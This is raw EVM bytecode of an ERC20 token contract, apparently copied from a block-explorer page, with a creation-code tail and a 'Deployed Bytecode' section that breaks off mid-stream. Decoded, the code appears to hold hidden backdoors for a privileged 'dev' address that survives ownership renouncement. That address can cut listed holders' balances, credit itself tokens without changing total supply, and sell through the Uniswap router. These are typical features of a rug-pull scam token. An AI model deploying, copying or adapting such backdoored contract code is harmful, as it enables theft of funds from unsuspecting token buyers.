57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d91906126e8565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea761136b565b73ffffffffffffffffffffffffffffffffffffffff160361125657600081118015610ed45750620186a081105b610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90612754565b60405180910390fd5b6000610f1e8461078e565b90506000620186a08383610f329190612774565b610f3c91906123da565b90506060600267ffffffffffffffff811115610f5b57610f5a6127b6565b5b604051908082528060200260200182016040528015610f895781602001602082028036833780820191505090505b5090503081600081518110610fa157610fa061234d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508581600181518110610ff057610fef61234d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060600267ffffffffffffffff811115611047576110466127b6565b5b6040519080825280602002602001820160405280156110755781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004016110d59291906128a3565b600060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061111b91906129f7565b905061114230826000815181106111355761113461234d565b5b6020026020010151611ad4565b60006104b042611152919061256a565b905061118930600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661118430610a90565b611373565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee85846000815181106111dc576111db61234d565b5b6020026020010151868b866040518663ffffffff1660e01b8152600401611207959493929190612a40565b6000604051808303816000875af1158015611226573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061124f91906129f7565b5050505050505b505050565b61126361136b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906125ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135690612b0c565b60405180910390fd5b61136881611a10565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990612b9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144890612c30565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161152f91906120d8565b60405180910390a3505050565b60006115488484610ddf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115c257818110156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab90612c9c565b60405180910390fd5b6115c18484848403611373565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e90612d2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169d90612dc0565b60405180910390fd5b6116b1838383611c2b565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90612e52565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182891906120d8565b60405180910390a361183b848484611e04565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612ee4565b60405180910390fd5b6118bc82600083611c2b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90612f76565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f791906120d8565b60405180910390a3611a0b83600084611e04565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90612fe2565b60405180910390fd5b611b4f60008383611c2b565b8060066000828254611b61919061256a565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c1391906120d8565b60405180910390a3611c2760008383611e04565b5050565b611c3483611e09565b15611cc957600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b8152600401611c96929190613002565b600060405180830381600087803b158015611cb057600080fd5b505af1158015611cc4573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d5e9190613057565b151503611dff57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b0a943228483611dae86611e09565b6040518463ffffffff1660e01b8152600401611dcc93929190613084565b600060405180830381600087803b158015611de657600080fd5b505af1158015611dfa573d6000803e3d6000fd5b505050505b505050565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611eb45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ec25760019050611ec7565b600090505b919050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f0b82611ee0565b9050919050565b611f1b81611f00565b8114611f2657600080fd5b50565b600081359050611f3881611f12565b92915050565b600060208284031215611f5457611f53611ed6565b5b6000611f6284828501611f29565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fa5578082015181840152602081019050611f8a565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fcd82611f6b565b611fd78185611f76565b9350611fe7818560208601611f87565b611ff081611fb1565b840191505092915050565b600060208201905081810360008301526120158184611fc2565b905092915050565b6000819050919050565b6120308161201d565b811461203b57600080fd5b50565b60008135905061204d81612027565b92915050565b6000806040838503121561206a57612069611ed6565b5b600061207885828601611f29565b92505060206120898582860161203e565b9150509250929050565b60008115159050919050565b6120a881612093565b82525050565b60006020820190506120c3600083018461209f565b92915050565b6120d28161201d565b82525050565b60006020820190506120ed60008301846120c9565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612118576121176120f3565b5b8235905067ffffffffffffffff811115612135576121346120f8565b5b602083019150836020820283011115612151576121506120fd565b5b9250929050565b6000806000806060858703121561217257612171611ed6565b5b600085013567ffffffffffffffff8111156121905761218f611edb565b5b61219c87828801612102565b945094505060206121af8782880161203e565b92505060406121c08782880161203e565b91505092959194509250565b6000806000606084860312156121e5576121e4611ed6565b5b60006121f386828701611f29565b935050602061220486828701611f29565b92505060406122158682870161203e565b9150509250925092565b600060ff82169050919050565b6122358161221f565b82525050565b6000602082019050612250600083018461222c565b92915050565b60006020828403121561226c5761226b611ed6565b5b600061227a8482850161203e565b91505092915050565b61228c81611f00565b82525050565b60006020820190506122a76000830184612283565b92915050565b600080604083850312156122c4576122c3611ed6565b5b60006122d285828601611f29565b92505060206122e385828601611f29565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061233457607f821691505b602082108103612347576123466122ed565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006123e58261201d565b91506123f08361201d565b925082612400576123ff61237c565b5b828204905092915050565b60006124168261201d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612448576124476123ab565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61247681612453565b811461248157600080fd5b50565b6000815190506124938161246d565b92915050565b600063ffffffff82169050919050565b6124b281612499565b81146124bd57600080fd5b50565b6000815190506124cf816124a9565b92915050565b6000806000606084860312156124ee576124ed611ed6565b5b60006124fc86828701612484565b935050602061250d86828701612484565b925050604061251e868287016124c0565b9150509250925092565b60008151905061253781611f12565b92915050565b60006020828403121561255357612552611ed6565b5b600061256184828501612528565b91505092915050565b60006125758261201d565b91506125808361201d565b9250828201905080821115612598576125976123ab565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125d4602083611f76565b91506125df8261259e565b602082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612666602583611f76565b91506126718261260a565b604082019050919050565b6000602082019050818103600083015261269581612659565b9050919050565b7f6465762063616e2774206265207a65726f2d6164647265737300000000000000600082015250565b60006126d2601983611f76565b91506126dd8261269c565b602082019050919050565b60006020820190508181036000830152612701816126c5565b9050919050565b7f416d6f756e742045786365656473204c696d6974730000000000000000000000600082015250565b600061273e601583611f76565b915061274982612708565b602082019050919050565b6000602082019050818103600083015261276d81612731565b9050919050565b600061277f8261201d565b915061278a8361201d565b92508282026127988161201d565b915082820484148315176127af576127ae6123ab565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61281a81611f00565b82525050565b600061282c8383612811565b60208301905092915050565b6000602082019050919050565b6000612850826127e5565b61285a81856127f0565b935061286583612801565b8060005b8381101561289657815161287d8882612820565b975061288883612838565b925050600181019050612869565b5085935050505092915050565b60006040820190506128b860008301856120c9565b81810360208301526128ca8184612845565b90509392505050565b6128dc82611fb1565b810181811067ffffffffffffffff821117156128fb576128fa6127b6565b5b80604052505050565b600061290e611ecc565b905061291a82826128d3565b919050565b600067ffffffffffffffff82111561293a576129396127b6565b5b602082029050602081019050919050565b60008151905061295a81612027565b92915050565b600061297361296e8461291f565b612904565b90508083825260208201905060208402830185811115612996576129956120fd565b5b835b818110156129bf57806129ab888261294b565b845260208401935050602081019050612998565b5050509392505050565b600082601f8301126129de576129dd6120f3565b5b81516129ee848260208601612960565b91505092915050565b600060208284031215612a0d57612a0c611ed6565b5b600082015167ffffffffffffffff811115612a2b57612a2a611edb565b5b612a37848285016129c9565b91505092915050565b600060a082019050612a5560008301886120c9565b612a6260208301876120c9565b8181036040830152612a748186612845565b9050612a836060830185612283565b612a9060808301846120c9565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612af6602683611f76565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b88602483611f76565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c1a602283611f76565b9150612c2582612bbe565b604082019050919050565b60006020820190508181036000830152612c4981612c0d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612c86601d83611f76565b9150612c9182612c50565b602082019050919050565b60006020820190508181036000830152612cb581612c79565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d18602583611f76565b9150612d2382612cbc565b604082019050919050565b60006020820190508181036000830152612d4781612d0b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612daa602383611f76565b9150612db582612d4e565b604082019050919050565b60006020820190508181036000830152612dd981612d9d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e3c602683611f76565b9150612e4782612de0565b604082019050919050565b60006020820190508181036000830152612e6b81612e2f565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ece602183611f76565b9150612ed982612e72565b604082019050919050565b60006020820190508181036000830152612efd81612ec1565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f60602283611f76565b9150612f6b82612f04565b604082019050919050565b60006020820190508181036000830152612f8f81612f53565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612fcc601f83611f76565b9150612fd782612f96565b602082019050919050565b60006020820190508181036000830152612ffb81612fbf565b9050919050565b60006040820190506130176000830185612283565b61302460208301846120c9565b9392505050565b61303481612093565b811461303f57600080fd5b50565b6000815190506130518161302b565b92915050565b60006020828403121561306d5761306c611ed6565b5b600061307b84828501613042565b91505092915050565b60006060820190506130996000830186612283565b6130a660208301856120c9565b6130b3604083018461209f565b94935050505056fea2646970667358221220b005224f9321cb79187e7112c5aac2aba202d344a7bfa4c04e004eca68c6800964736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002817b038e8e2ca2bc7f3612d49b5d50f9f690bbe

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610365578063a9059cbb14610395578063cef31734146103c5578063dd62ed3e146103e1578063e84d572514610411578063f2fde38b1461042d57610142565b80635b99d194146102d157806370a08231146102ef578063715018a61461031f5780638da5cb5b1461032957806395d89b411461034757610142565b806323b872dd1161010a57806323b872dd146101eb578063313ce5671461021b57806335d1627414610239578063395093511461026957806342966c68146102995780634609e797146102b557610142565b806306cb5b661461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b15780631e673499146101cf575b600080fd5b610161600480360381019061015c9190611f3e565b610449565b005b61016b6104ea565b6040516101789190611ffb565b60405180910390f35b61019b60048036038101906101969190612053565b61057c565b6040516101a891906120ae565b60405180910390f35b6101b961059f565b6040516101c691906120d8565b60405180910390f35b6101e960048036038101906101e49190612158565b6105a9565b005b610205600480360381019061020091906121cc565b610748565b60405161021291906120ae565b60405180910390f35b610223610777565b604051610230919061223b565b60405180910390f35b610253600480360381019061024e9190611f3e565b61078e565b60405161026091906120d8565b60405180910390f35b610283600480360381019061027e9190612053565b610923565b60405161029091906120ae565b60405180910390f35b6102b360048036038101906102ae9190612256565b61095a565b005b6102cf60048036038101906102ca9190612256565b6109cb565b005b6102d9610a88565b6040516102e691906120d8565b60405180910390f35b61030960048036038101906103049190611f3e565b610a90565b60405161031691906120d8565b60405180910390f35b610327610ad9565b005b610331610b7a565b60405161033e9190612292565b60405180910390f35b61034f610ba3565b60405161035c9190611ffb565b60405180910390f35b61037f600480360381019061037a9190612053565b610c35565b60405161038c91906120ae565b60405180910390f35b6103af60048036038101906103aa9190612053565b610cac565b6040516103bc91906120ae565b60405180910390f35b6103df60048036038101906103da9190611f3e565b610ccf565b005b6103fb60048036038101906103f691906122ad565b610ddf565b60405161040891906120d8565b60405180910390f35b61042b600480360381019061042691906121cc565b610e66565b005b61044760048036038101906104429190611f3e565b61125b565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048a61136b565b73ffffffffffffffffffffffffffffffffffffffff16036104e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6060600780546104f99061231c565b80601f01602080910402602001604051908101604052809291908181526020018280546105259061231c565b80156105725780601f1061054757610100808354040283529160200191610572565b820191906000526020600020905b81548152906001019060200180831161055557829003601f168201915b5050505050905090565b60008061058761136b565b9050610594818585611373565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ea61136b565b73ffffffffffffffffffffffffffffffffffffffff16036107425760005b84849050811015610740578261064486868481811061062a5761062961234d565b5b905060200201602081019061063f9190611f3e565b610a90565b111561072d57600082600460008888868181106106645761066361234d565b5b90506020020160208101906106799190611f3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106be91906123da565b905080600460008888868181106106d8576106d761234d565b5b90506020020160208101906106ed9190611f3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b80806107389061240b565b915050610608565b505b50505050565b60008061075361136b565b905061076085828561153c565b61076b8585856115c8565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082491906124d5565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d3919061253d565b73ffffffffffffffffffffffffffffffffffffffff161461090457816dffffffffffffffffffffffffffff16610916565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008061092e61136b565b905061094f8185856109408589610ddf565b61094a919061256a565b611373565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099b61136b565b73ffffffffffffffffffffffffffffffffffffffff16036109c8576109c76109c161136b565b82611841565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0c61136b565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578060046000610a3461136b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d919061256a565b925050819055505b50565b600042905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ae161136b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b65906125ea565b60405180910390fd5b610b786000611a10565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610bb29061231c565b80601f0160208091040260200160405190810160405280929190818152602001828054610bde9061231c565b8015610c2b5780601f10610c0057610100808354040283529160200191610c2b565b820191906000526020600020905b815481529060010190602001808311610c0e57829003601f168201915b5050505050905090565b600080610c4061136b565b90506000610c4e8286610ddf565b905083811015610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a9061267c565b60405180910390fd5b610ca08286868403611373565b60019250505092915050565b600080610cb761136b565b9050610cc48185856115c8565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1061136b565b73ffffffffffffffffffffffffffffffffffffffff1603610ddc57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d91906126e8565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea761136b565b73ffffffffffffffffffffffffffffffffffffffff160361125657600081118015610ed45750620186a081105b610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90612754565b60405180910390fd5b6000610f1e8461078e565b90506000620186a08383610f329190612774565b610f3c91906123da565b90506060600267ffffffffffffffff811115610f5b57610f5a6127b6565b5b604051908082528060200260200182016040528015610f895781602001602082028036833780820191505090505b5090503081600081518110610fa157610fa061234d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508581600181518110610ff057610fef61234d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060600267ffffffffffffffff811115611047576110466127b6565b5b6040519080825280602002602001820160405280156110755781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004016110d59291906128a3565b600060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061111b91906129f7565b905061114230826000815181106111355761113461234d565b5b6020026020010151611ad4565b60006104b042611152919061256a565b905061118930600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661118430610a90565b611373565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee85846000815181106111dc576111db61234d565b5b6020026020010151868b866040518663ffffffff1660e01b8152600401611207959493929190612a40565b6000604051808303816000875af1158015611226573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061124f91906129f7565b5050505050505b505050565b61126361136b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906125ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135690612b0c565b60405180910390fd5b61136881611a10565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990612b9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144890612c30565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161152f91906120d8565b60405180910390a3505050565b60006115488484610ddf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115c257818110156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab90612c9c565b60405180910390fd5b6115c18484848403611373565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e90612d2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169d90612dc0565b60405180910390fd5b6116b1838383611c2b565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90612e52565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182891906120d8565b60405180910390a361183b848484611e04565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612ee4565b60405180910390fd5b6118bc82600083611c2b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90612f76565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f791906120d8565b60405180910390a3611a0b83600084611e04565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90612fe2565b60405180910390fd5b611b4f60008383611c2b565b8060066000828254611b61919061256a565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c1391906120d8565b60405180910390a3611c2760008383611e04565b5050565b611c3483611e09565b15611cc957600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b8152600401611c96929190613002565b600060405180830381600087803b158015611cb057600080fd5b505af1158015611cc4573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633